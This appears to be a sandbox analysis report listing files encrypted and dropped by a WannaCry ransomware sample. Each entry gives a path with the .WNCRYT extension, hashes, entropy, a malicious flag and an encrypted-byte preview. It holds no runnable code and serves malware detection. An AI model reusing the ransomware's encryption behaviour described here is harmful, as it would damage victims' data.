                                    Preview:WANACRY!.....j.bz...a....{.R...Y)j.o.2r..`.....@nP....Z.6...h..RL..tP..W.......Kc.l?...c\[...e..../o.j...g..s(........d.....38....E$...v.....~A...G6...oC-s.|2C8f..#W.. .5u.8..QF..p]g....:&(U.]...K.....D..RK...@.5O...H...C_(N.>I..h.......L.....E..,=...J<......&.......w63e.-h......u.i(............e9.Mx.|"....m..Yhz.*.=.S=..txq.....A.....C...%.~.o..`F.`.C.h.5.x..~.k....n...w.e-.....f.WA}.......fu.....,....z.W......w..u..).X..h..>L.4J.'.W@...8...3NG#>..5..Yc.0>....KCe..@.gbX.*....MK....GM.].........>.w*..........l......m2.>K...O.pN.K.q:.H..&Dvi%N.<.V...6s....uIL=1..P.V._z0.=#..icSDK.....v..n.h........{.N./...........0..N,...........(.%.1nU7...f..`...U7X;E^.w......`y.......o.:...[{.MQ.C..k.....u..iP..s..37..EL:..p1...p[...8..V%?.....g......F.ih..b.siS....g.O.v...1....A..6.^.b.q..|.Vj....?b.kU..ou..3..fk.p..z..F.7..#qb..aK.....y...^..H.5...vZ2..t..vAK.....].)..!{J_..K.`.)..0."..CF......5..R.RK..z.P.:..lh....]r%A..x....l....DYl.b.E%A.)...J..Y.3;

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\settingsconversions.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):533032
                                    Entropy (8bit):7.999684634968351
                                    Encrypted:true
                                    SSDEEP:12288:5Q3hAOdyz4gw2E8h1ONUXS27vbxLmZOgCMkc0czh:54AOAcmzOWXSYNaZlCz0h
                                    MD5:78A9F900424D81061F8A3B333A196543
                                    SHA1:2EF912047EFBC0A0A7B86002386C258948C992A3
                                    SHA-256:DA692134A4428C11C62B3EC2039C9A6C1DD755006264DBF53DF3B542C4421D3B
                                    SHA-512:A865E302ED736FA98F0F2A710F32CBEC81E9045C6A9AFD93714E809BDA3FE1B764F222E1D5D6CFBE189A6CEC1DC76ECD92109D5483C34CCE8E528B7630DC05AD
                                    Malicious:true
                                    Preview:WANACRY!.....K.1..../.A.&s...."..K...|(.G......|.A.*..J...i.[..}.>.^..6.z{&..Vb8Jo..W..5Oo..5r...BS..=..7ZZ..`.8L.....1Z....70IK.~.e..}-G.......q..v....C.5..~Y..w.a...@.a...e....6._.........L.....&.Jn.[a0v..\..\..............B...~....!..._.c.N..j....rl.....!......s......b.2...}.\..-2...[..`D...?..b...Q.6....E...&..-..>...E6Dk.".m.......L$...Z..e.s.H...d..._......z..Pno....f.#.....8..xG....vE.4.n....$...&?[0..e.:.J]..:."z3...\.\I.A.?W.-..j..x\.....[r.>..~.I...)4.5..`%...,y....A.>.(D=HT........7.C.....!..h..0q...r...v:...9<.~j(G.`..\../..zK.....Y...1.:.`.m'......t.U,%...F.....p{-.f..~..#J.t(.<xY:U......,.9#J..&vW..f.x.....Ts.=..F\gF.P$=.I..v...Q.!.k~u/..0w...rM......n.._[......O~.C.7.{..)N..D.........o.l...'.l.sx..e..r.#....7...yB....W..|..<&$......|...2.?...&:....Oc...3.s.K5/......qkX.M.Vc.A.&...zk..O......00.1#..MG&......|.T.F`V!a.B....T..~.bL[.C..@zY<.....l..v4....J...Exe.$ .....8|9..(.\......o..\.6a.t..c.x!?...W.q.r....6.(..@...7

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\settingsglobals.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):44792
                                    Entropy (8bit):7.995752069757996
                                    Encrypted:true
                                    SSDEEP:768:qwGv/4vXg1l3el+WQi9Hftry0hYr3sRb+1DsVpzNZNItFYpPp3i5XeIibB3:zgAvXgWsWPl1m6+1IVUtFYpliZdi9
                                    MD5:B4FC0134C50A3BB76E5CE00B14F017F4
                                    SHA1:591F1F1FA407C056FF6B8528EFF39CB4CE757D5A
                                    SHA-256:A45CF4E55D714E56AF2958703B88EAF7A5F380BB269ABAC97CE54CC26070374D
                                    SHA-512:5075BF8C666493B77A89548788EE100B7D2B8C1A12B2BDE8857AF6EF9BB7AA5DC8D8F0495CC2660D09B371A8A4EEA05FF44078ADD43FC1782462F8EF7006EC24
                                    Malicious:true
                                    Preview:WANACRY!....6.J..D.A].N..q.0..w.=j.r.E6.%..."_z^.....i.....p..]s..t..8...H....e'Yw.<.j.^...9........4u9.@...R......M..........ze..H..1...+D-..=.....BTvJ.y.....}......5..N..a...V.@..T%Z...l4o.nwU...)...d.x.wiL.....<..l.]Y.Z....1.$...g..z.....GS..H.Ms..3..............2G.mt....Y.}.....X...c.]P...w.M@.Va..{*v70P.!...U....8Z...#.]..X`..o.[8....`...j-...0.....8.P].aU....}A.b....z..t........E.....D.{V...N..i.P..ML.T.....U'Z.....(....d..%..@.t..X@..m.l.....ef.YJ..O.t.F].+..$L....`.zQ....;;...%....Y.j..3..L..+.[?u.....!D.i]..].R@..t....^.:*1.i.I.l..EE...@..X.vP.L......y.T{.%.9.I.....$.l.dTw..S...Brj.....D_Y...E . .&..U...Qe..5...#_(4....Q&.>..#..'C.<.iE.wa...y.G.........>.S)....H....d.X;.6.......c.......g%]/..<.x\!a'..G...C.o~...;SE Z!.B.~?.g=@..d/Pf&;.MR../.....\.5&..M.c..Ul8....X.P...b.q.. .H...42..?p.B..d........{C....E...u.P.p......L..6.........:...?..;TZ.}.-.2h4.WN.....)+.t..8.#:u......0\._{..'.>....ZD<..M...}.2..U.fIR...oa.,.cP..S.b8q.\.....

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\settingssynonyms.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):104008
                                    Entropy (8bit):7.998424986046524
                                    Encrypted:true
                                    SSDEEP:3072:nKdIO47qbg/q76SgiDFTag+iUJZC4wnnxl:nGQv/qpg3Fy
                                    MD5:66CD56DD8E38359856FBC008A5AD0521
                                    SHA1:8AF2139208B639AC3297B1DC54BF4D873ADD875E
                                    SHA-256:DFB90543139DA18945E095EC01514D63E3D125C7F82F6A7DE23CBE2F98B469C2
                                    SHA-512:17507337D772177647B2B2575E0426D47177ABE7BCFD28FDC76239B58428EC53B5A3D7719082A47781B16F881D3120EBFD1FC6C663A7034CBC517415686A4815
                                    Malicious:true
                                    Preview:WANACRY!.......L...8.r.\...C..#,y...Q.E....QH...{.....~...7.9x...C....e....)....~p.+.(.&6............|.S...q.]N.....P..../.=.=..=./..CK..$b.g.M.} .... <.oX,.zQ...u=........1.<..oN...e.".*y1.i<...(~.o...R.e0..=v...2..@.V...q<....e6.J.x..D.7....>.Q.0%J.Z.T.....%.......gMwyu....Z....U..*....h?{..#%..'X.!.N..@...M..`.?....Q.x.#.;.P.....0E:r..A.H...*b..8...<[..F/.....$+.....$...E..`.......(.8.l.rd...y.C..#...v.."5...G...0....C....<.;..S..C..........Qgd... 1.^.6.s.Md>2U.q.=.`I.n..,.wdH.Z..>.....$....5l,...=.l.9.1%*...Y..4,.4/./!.e~.....<k.i.C].F0`..I...H)......;......b..\...5rl"2`%Y......K....a.p9{.G.....+~.h.......c......C^...IZ......i....U.DS.CD.d.....s....@.NC2,...{..G|.Y.&.l......?d.."?1=]A6..gc.=.m.Z&&..GU. !..S...A....m.]e..._...W2z#i7.3...c....a...Q.sy...+.8..NV.}.G.....o#3.......[.h.,..7.K.~qf.re;_.!|..2.!..p..'..N.....`.......J..(....S.8.'g.c.I.P...Z.d....F..:L.I:.5....._....ih.....bO".. A...Y~...m..VpB.o%.3Vl......Yo.......d.....$....`.

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{2ce60361-e872-41fb-bae7-eec2f580d4fb}\0.0.filtertrie.intermediate.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):217800
                                    Entropy (8bit):7.9991674856156605
                                    Encrypted:true
                                    SSDEEP:6144:4mUywuRjfgtASxqLpQbxg77QLRmF87345srx8wEi4bU:FNwCLgtAwq96W7sC873bF8fi4bU
                                    MD5:20247134F96F7CE0958FCA0A97D32B51
                                    SHA1:AB69EA6B5B81A28F2843309C3AD0FA5458FB7562
                                    SHA-256:72E5E0513B53FA2F670C4945C932163BD4B025225BFDE472179EA3D00D71F8F6
                                    SHA-512:594FFD5C30ED4BB643DF8C6628E143145DEE31F64F06967194610510A85E0AB9C73EFD50D72DFF98AAF09DEBCA081B4A452A18B897F9C46988B0A942CDF87FE6
                                    Malicious:true
                                    Preview:WANACRY!......FS......x....7.n....*{......X.;...+=....@U9...%.. ..^j..'..M.y.A.......%.A.Z4CU#..y.|.z....=.v.j..C.D/V..f&.Ad.4'&).r'?f.kv....\a5x=..:0...-IT..<..z.7..p......7.7.Uo.>.P..Y.C.:..u8....)I...........?..x..Mm3.ie.....~.j%'......x.+x.5<+..0..;..U.....Q........E*....wX=.y.;.r........p.`B...2.......G..\,.!....fI8./B.?....+0.^..X:.]..H{<..o.m...fQ.....Hq.~3....+t...{(...&.;.c1....aj.nD.U@\...@....-..4..2..........>....dq..O...^vJU...x.0..y..[........F..../....JN.,f...=i.m-2..'.~.I.y..sM.....J}.},.wx.=..Y..:....zmJ.._...k.........OW.N0f....A.9p.}@..sX....T....S.~LQH..V...Wp.....2....].<X1.WaC.I.?...*..%...e+..&F..(....a.1r)P.l.5.q..\.,.....C.4..Hd\A.}..?.WD..;C..Xu!.L.a1:b;#u..(..*yvw..>...n...Y...T.o.,|.s.mu+.j.....@.....,7.V.q....<....u.....~}9p.Gn<.0n.L/.X?0s.kZ.u.....v..x%...Ai..PAX].<O..k..-.......w'...u].B.Q..{!..p.....h...w..\.%...PS.B.'..W.,.1a../.Q.._.........:7.oT..&/gK......37P........f....W...%{....^L.....+..Inlu..^..

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{400a70c4-3e12-4cbe-805a-2dc7c298a033}\0.0.filtertrie.intermediate.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):217800
                                    Entropy (8bit):7.999175512132908
                                    Encrypted:true
                                    SSDEEP:6144:cgW/JHJMp67pDWzTb0jMPP/hnZzluh4yOx5I:bQDNlDWD0jCP/DYWyo2
                                    MD5:2303410BB3513ED6A05C6EE0964281BB
                                    SHA1:6903EBC798E875AB246FB18ED4A8424626D1E8D2
                                    SHA-256:517DB9C15A77CE90693C857675B19667440B8A0698DA1F551F3F17B194075D15
                                    SHA-512:D392B336DFD03D6D19D364D25848453782E17B76E4EDAABD56460A7F8C6A3DF47224F5A0ACEA623ABAE24ECCCE16DA70FB26A961DC7B41689EE43E745FE3F9B4
                                    Malicious:true
                                    Preview:WANACRY!......%5.m........V...cf@H.M....3.i.....'....T.....&.[Ge.(.h.t..X.6H.T.W._a.ZLES.B-.CRE......2rZ!.pwH.&e.......8.7j...=\.b.f.[h~4...+..I,..._/4.q..6r..]....n..X*..%9......lN5w...;+yk..,.._..JE.._...#K..|....]N.?.c.~o.7#.9...L...`..`)g._..;....~.~.....Q........3N>.......X.,..6 B.H3}.."_.;G.[.0.tTu&....x..<.C.&)..............)+s.&.....Q...2..pyc..+.O.dFi..*.V....G[.R.....I...5.....W..O..?m.r......rF*$.[.>.~..f..}...?......t.WX.5.H..U9y.FtxK(.{..e]}..'5.A_...b....."......j....tZ@w.....[.h...._x..P.&=...uc.....Q.8.$...P...}..A.z.......14........6.F.l.....t.D..<.aw.0..dn.c...Q..{T.....'`....n?.G.T..Z..R..(....Q7....z:.....5...'.86.O..Kp...$.v...pb...&c.....s.....G.>.].<..T........KtT....6M..........z.#........w9.....<..7.M.Rk...P>.9..X...2...T..$.u.8AR..7:.....0..\..9........L..Q..7..F....i....;cK...t...'\T"m.>...[.sP4.O..;.h.....".2.K..aW#O0....FE..l...M....#.k...V0}..q..!.t.X.I$ ....2.".)-...JA...>.S).I..so...>n.`.w..o.....J..~J

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652260521575.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):102760
                                    Entropy (8bit):7.998317189780211
                                    Encrypted:true
                                    SSDEEP:3072:uM9O9XiqDkYoMyloOtsqpwBC6HCPF+W2G7jjd0mpB3Wj:uM9pqDkYo/o6srC6Hm26jjdxBGj
                                    MD5:80B86DD793FA09809E2BDCC25834AADF
                                    SHA1:728D21B959EDD467B7C67E163A92A6B22BA0D3C3
                                    SHA-256:E008B7FC9BD24F851C163DA2FFD1973A17B2CE9B3847C1D8EB1CA42F5B8188B4
                                    SHA-512:A0F52D45895EA1BD05AECE8186E0AA252FF32C5788C012C8045421EEC8068DCCCBB687295C3BC02BB76C469A893BB606BDBECC026A245BEAF6CF54160D6D0E4E
                                    Malicious:true
                                    Preview:WANACRY!....N..!..=.v..Q.....tq.....|>'v.........iC.*.f..r3D..#d..6.L.....M....`.2...8Z.D.w.[./.O._.V....U.ls...S\Cd.H.j....f....^./%g..*9.E....$.z+....^.....G......vB.....N}R.^.&........z......=.3O.s........y...s=.5..#..R.s.....KE...\.!.p.../|.Wy.o.......P.......9+.$.b.f.v/....]...n%9.u`......a...y.T.z..@..y.HW..|..ni.Z..,Q....=.;.C.t.z.JH.~..=.mFo...iz......3d.[~..."".m.....u.&..n..M.SBm...l....%L.......T...V .3.)%A..%N._..S...~.16N.......)74..Fx...[x....'.Q....?..}....?...pz$...T..~j.h....>..:."mb1.k9.{.p....C.F.d.MS.c.4N..\..&we..7..tiP@3'.......s....,.....:....Ke.O.h...3..c.W.@'...{....q;.[.j}.......k...L.1....f..W..F|u,5`It...YO..-..1o...K<.&.T~.0A..#.f.d..uOh.7.K.#w4.?.]........SQz.*..iX..%....."..w.d....N.x/"V.y............L..+0.G...)..M..,^,C.l..z...so.../N........e.%&w-e@...|}.........Bw=.a.:..-..e.)......v.o.V.Xy.G...3.n...E.K8W:+?].$2.f.w.JZ..8.j..m....d".b7..~.A....Jl|.... .).Nzo..Pw..B,R..5..(x...-...(/.P.K.9 #x.,...>;.h.+..U%.

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652279466572.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):103768
                                    Entropy (8bit):7.99806948856341
                                    Encrypted:true
                                    SSDEEP:3072:bKrKkHJ/hAkor2Po9TR/Xu/6788Fv0q3IIoyeujPB+arnsx:WrKkHJ/hVA2Po9T5F8SM9AjPB+EA
                                    MD5:91FF9A05022475805EEC834CE3F4711B
                                    SHA1:D7EBBF1FC7BD8D2867D97EE05EF1D3C0A96FF640
                                    SHA-256:0FA1D257CA7A95C6AA73B494E9DDAFC530E7362045ED1EFD94A4811939F31908
                                    SHA-512:C756FFDD2CF573B75EF360A3C519897C6C921A7861458895B4DCEC863917C65423F3E8DD964CE525211EA0B754A1EAAD2B408DC44605CD0DEBC4BC4E5ED98EEF
                                    Malicious:true
                                    Preview:WANACRY!....6.W.i1k.:.L.Nt$.*..W.P.%......h8.P...k.~1....}M........B.~...Dr.E.''_..5..S0..jH..U..g..W..V.5]^..9.._..l}.....S).6.?.....(....4.........'.6....@|....5.'.o.HN....G.^x.[R-.>'A.X.z.....'..3}...F...yu...0x9b.^...HQ.).._.6.;...._.[P..\.D..D.1....m3....?........6......w.&sX=Lo}y....E.=........ZF.....,.:.t8.[F.<>M.M.Eg..P..D!..\.....6o':.6TR. _.d7!..0T:.J......q..5_...Yt..%./..8:w%...0(.Y.;....1..4a.~.l+...t..).......b."....d..rj.t.Pj.....z../..b...\....&..........Y.M...X`.@.1w.s._..*9.K...K.....o.[...g1%../.!{...{....#..;.@.......H. %.N..|.i-.Nj.F....1..^.....%T:......:.J..U......,1..{....E.R...[.jmb.].p;U...l.G..@2..&s"....+..........!bo.(G._.We[..|e...=L_...Z........'Ywq.......<J..........*y\.......:V.";..`y.hY..}.s?.S...9~..n.M....d=......[...?..I..d.8.P.a.../e+....c...4B(n...~[w..l]...."...../~5E...v......g)O-3...m..^........y..f\<*...9/.q.V.I..a...p..A.......^.)..... .........w..<..E..a.Up..L..gf.!..YO-^....'8..n.f...Ic.}i.1k

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652308544336.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):102760
                                    Entropy (8bit):7.9982023298364275
                                    Encrypted:true
                                    SSDEEP:3072:6iXD2Rea2jrWGYz5Qef+X8SowS6zUWOj7:5wr2nWtO1StD3
                                    MD5:66C3F56A46B10D97316A9911F9203DA3
                                    SHA1:BEB524660D6B86959F217E91948CAEB97A08C9DD
                                    SHA-256:EB27797E3FF3DD7CC9125A719C4175AB77F619997085C42570E8DD5BDD7A2358
                                    SHA-512:4462C90DC5F5CB0FE5B88917248CB5FF09B79CC6C80C4C0FC1390D4BA6E9E4CA52A36F8C7546F7FA44AF617AD3AC84CEC082CA25F123FCC6EEC150ECED94CC5F
                                    Malicious:true
                                    Preview:WANACRY!..............Y(...uL7.I....I\%..*.S..tG..b..Y4.x.....y.).Eaz.. ....C..v....u..}.k...W.|Gf!.3....E.O._.Q.].x.........h:=A.q4.....i..,kI.".`8.e.V@.PD8.IV.P.<p...;...&..ZG\_Pu..z....T0..q..m~......!.//)6.....i...Z.E.GZ.....B\f.....Q...p....$..........P.......{.n.8l.R)pw.JG.......Gal`Y.@T]..qu.nj.o...'.Y,...5f..g.%..zy;.....m.k..m*/a.........S....~~..cq......k...0Z....%XC<..P..S~H....7...?.`........B..p..Z.....@.....v.J}].........*.....).".Pk...B......4.C.m....y9........e..H.A....b...e.7]...:.{.yR:"N.;.%>]...x.]m.p.v...+.].*...1^.U<_....^..".TG..V.;RL..<......9Tt\..E.@c...S...M....s....5.?4...HY....M...d$./..f.6.."r..X..D].....$j.ZP...e.U.r:@....Ov.r;.`..#:`..p.9.......{..<..TL.tnfdy..]O}.6.@^...z.../.p..D............ ..A[N..54...-. .m.'...O.%..B\.Tx;.qR........c.....h._.HYJ.a.Q...F.%...3..U..%.7.Q<l"..\7....+...rw....nY..ApJ$...yx.N..E.k./....o...kv......ZGy.......R5.b*.....h4...3...X'....[.#...$..5Ub.C,........ .g,O..U.I$a..f

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652528024801.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):104104
                                    Entropy (8bit):7.998330318464632
                                    Encrypted:true
                                    SSDEEP:1536:rnqVvs8IqJJHH9mAZzDP4xPfVqYuk2hnEryXLSsZ43/QCWBs+kB3NgUtbEqe4:eeB8Tz0OYu5Er4E3/Qns3xtde4
                                    MD5:387BF3E7640065BBFE0C153B9E505CFE
                                    SHA1:84B0747B4499151DC76CDAD63E0BD702E88F3759
                                    SHA-256:9CD0921AF62DDF78F154335487FAC3ABA71E759A9563800E80EDC31A5F218F33
                                    SHA-512:DFDF9CC4FB38F69D62EFFA54752145B71EFDF8976A28A836966082F6F6CCB97E647E93D20F0CF81B2BB603840558D6DA70C18151E565CD0FEDA9717711F0536C
                                    Malicious:true
                                    Preview:WANACRY!....J..Z@. ..y...^..f=9-..C\&._;...W(g+/7...Q=n|p..Q...D....{.......~.VJ.1.....mt..u'..&._Ao...C.2...........Rm7.. ...*z.......@..vz*{g..@.2..`SZ.&...{.flFae...z.(.....Y..$.......=.hv...s.......:.u..........&.5..>dm...u.....5...t..h..Qy..[.h...y............(c.......Qvh...\......'S".`C.#...\.^.n...wN.q.x.o.*rhb,.-I.'...D.q..cj.S/............,.l....gs:.Z..a..3.....k...#@/>..U/`..ntH....h.....l5...UlMr..w.D....w8.F...fj.n,... ."......H.dc.0vy.wg..........r...!.ku.xr..d.m5^.9...z.[..\.:E........#.9T<..6g.M!.O0I/.m.x3.&....b....$..{6"...-.........*r.+...8..P.HN.....d.0.MO...K.C.?._.........B....t.-G...6.$$,:..o..E_J|..|.......A.Lwi8....+. .;.....W....F..........-.)99(.....6>w..GQ...-....F.j!....{U&.s.3..P..O...s....i #+.).A.....2....G.:..F+./...i.w...f..fO..`.....d{....o4...*....P......,.PWz.Q.K.n.L..n{zL..@,.A..do.cs..n.o...&.p.Y.~6y[.}.s.E........E)l..l}..{..&.i....D*.$........>;3..'`gM)V.......]2D..."..Vaf...S..fn&..|..h..p.

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652546374009.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):104104
                                    Entropy (8bit):7.998354430147077
                                    Encrypted:true
                                    SSDEEP:3072:feKiTDu3xM5UbSHDaLTTK+F0f9Pjw8/5opttIo8WJyBZr09xnJ:cTyBMaSDwG+F0f9LX5optGd0yZr09xnJ
                                    MD5:63460D5BE6E78953AA07B424BBB135C7
                                    SHA1:FB7630B8D699837B8469AC0D0451B7A776FBCF08
                                    SHA-256:FED9DC56675308DA31C9FACEA689F47B1892427A91B067D2BC77CBAF830CF851
                                    SHA-512:82FA71512FF3129F731306B2897B44F446458DB5B65CF1184575872C99D17A54CCA97C01609F4C8EFBC6E0B5EFD0DF24F04B99AE2C43E3FC417962DB1B0F8ABD
                                    Malicious:true
                                    Preview:WANACRY!....$......f...D.(*..<..r...z[....C}....X..Z.9.Z.!1...7.&.PD.8...%....# N.x..2.X$......1...]Gg...>...Q...m...`..S....D;.....d........2j..1....Z[... .a..;.A....F..\..w....Q/..$..".O .....%....j.S?....8..w.#B6.|....'.....{...Y.w.:l.FB.O&.+."p...........q............_...$.$b...$Y..":.z..c.iU.x.....,..y.W.m.].K..$.;IK.S\l..3.m...~....7.!$[..Rai.cru.<.8]j.._....WBN.....X2T.D.qd..`.UnG1..e1.K..C..E.a...X~+....a(....X..HcA.....".........g..3xA..A...... ..*.c..U%..4<op.R.%...i:...}{...iY..g._..Vuv"(Z..V..K.#.o....F.^{*.0.w..j>.q .b/..1..p...;..q.cx...b..CM.*._l.L:.D<.....u7.8.aw^...`.{.9..:..jZBD.s....G.c.OM..P.F.<`.Z..`7.z..{l.*..)_o(..V..1.!S.2...".3.......S.9(.\..........7D_3b....Q..k...\;........WA.RX>.5v....B.U.......c^n.o.I..{.......,...s~.......hpJ.o.f...cy+.'......G.....N.X..=._.~Y$..mX'.e..Bi...=.m}.Xj...X.P...L........f..w....Nj....f..>;...0.`KN"......8$.g .Y.@?.M...TM]b.>.k.T......>.....x....<tq....?.........!v.%...3.J. zic......+.}-t..

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652624730194.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):104104
                                    Entropy (8bit):7.998108967838725
                                    Encrypted:true
                                    SSDEEP:3072:jCfn4YCPIbxI2qS5D8l7+tkAMfrHMrkmvdZIE7H:j8nKP89F+7+3wbukmfIa
                                    MD5:A53284D90836FEA0C00C9354E366DBE9
                                    SHA1:EEACB85495316BABAC5486932392613580EFDC99
                                    SHA-256:B8AD1BC09F73A3CD8F14A052AFE966D2450BD43FE7ABC67E50C394C628B7944B
                                    SHA-512:B4775CB53083D37DBE78D4CADE50EF489B6D6C1039064E98AFDC2475FBD0E33F769059ACEAE19CA3069BADA407F2896509A3B8881EBB760BC53DEBAD9011A2EA
                                    Malicious:true
                                    Preview:WANACRY!....C..v.1.I.~j....y...l..R.*..kyH.8c.....Tt.U..........e..dC.8..x.{Q.a.....2k"_..!.D..$A.f.S.]?...59........v..4wG......-..J.ZnJ...'.O...e.}...I.^...8.Z.$kQ....-...\.-.6X.5.>?....Z>@..<.q+....0 .......Q....x4.....!..2....6.q..z......._.(.....G................c.zt3..!.c..^..9.4K..{m.w. ......6...im<.........K`...A......s(....Tz.$....._6.....&U.c.OJ.L....7.Bw.Ze._.a.uO..1...)...h=4F}_.CJ.....S......"....D_{;^..<.tH.(.k....O.X.Ww\..gA....^3~.n.....&.qv.[.........../...6C......C{H-OO../.^.D6p.O..*.X$.>\.=...r...".U.@o.....$........./..q.Cfy..x...Z...3...hKf. k.lAm...3.iV,......!.K..`.'`...._.!hSHBk.K..=...Z.a.......]R..~......-..O..N..?c...LE..f<.n.j..M.>o.\..fW1..8...Fv.,.....6/c.Y...+...0...c....)W...^.2..}/.Y./...d.......%...G8c......n,Hv........J?Y. . ....G.V....|.y]".*..ul.".L..K.Fw..........Z..&.2.@}G.L{..F{g..,....dk...,.8:....{.....L...|.ct.d.$. m./|'`/!.x&.U.....C..cat.....^..&.j....+..m...Bq........w..(.gd6.9S...%)R..

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652666852676.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):104104
                                    Entropy (8bit):7.998193400165027
                                    Encrypted:true
                                    SSDEEP:3072:waj8Ue/xuNHYyQyAm86H+GpLX/ehDWN7k81:ws8fx0QyAmRRpLPehSNYE
                                    MD5:7E2411888197F29A1EA95FF19E8969CF
                                    SHA1:F16412CA1DC411C56C026F295225D6B941C1B940
                                    SHA-256:C3AF9331E247A98FA6BBEBBB2F603DDEF22C799578623D821D25416D03E5C898
                                    SHA-512:82D62EA6FC5ECA47B31D360BBA0AE42DC134BB6133E5668A4A37F67D2A5744DFE9A5650AEB30226BD41D70C958FF61A50965B76230BD3010C2422EC93B48334F
                                    Malicious:true
                                    Preview:WANACRY!.......JC..u+..'..W...o.3.i]..yMaiP.....`5O9qX.za.;.....K;#n[_8.4%<.Sc..=..(.x......1CkI.e9..m.e.....Cjg.{eE .i.X..........D..$.......iM.o.J...3.e...6.I]#......xE...{.4.5dF.T.u....Y...F.S..`...m....>.|4?}49_.H@{ .M.H...i...{4.r\,'./..K..u.a...d....R..............y'..8;|.p.Er!.,4....7o..Q....pHCt.R..&....5._.&..6..>.(....cC.dc.KS{X."........6.1D`..N....e..M... Sx. .y.d.V@..s....Y...`X....?.Z.9..?).;.J7).f.o....I8..,pIwM...`..&Ha....*'E..X...'/..W........-...HG.3...A2..U...!......IxN.....z9&.0Z.j..{./*..x.}...T]D[.h.!rAs.:n.^@...^~ B.7.;........F.;r+.H..@y.sA....5.|@..X....NY.;..Is~r......Z..-~7..I....v....w.......+.......zf.G.r.t..._&U..XL.o.#.....I9.....4..(..=...T..{k.H..?"...I..-..Z..Q_e...H..g..XJ....~d....fTy.b...)%E...L.......X....N...:bV.tz.:..A....M.;z.....f.|.....(..#...Zv...VA's..F...NQ.g.J.].!...@.)UT.......=cb5.H...../....R|Y&.}.0..*...........$.B......2........p....-I.......@..#.?&...Mw...{..Z..r".^Cd..t.....c^~.npJ

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409652950926221.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):105080
                                    Entropy (8bit):7.998096778001706
                                    Encrypted:true
                                    SSDEEP:3072:28iaaULgEoCJlFOWHEWTYAiViaIH40N5BhcD:DtaUkI+WO6aILncD
                                    MD5:B072C81BB9F81B132DC05DBA9998A305
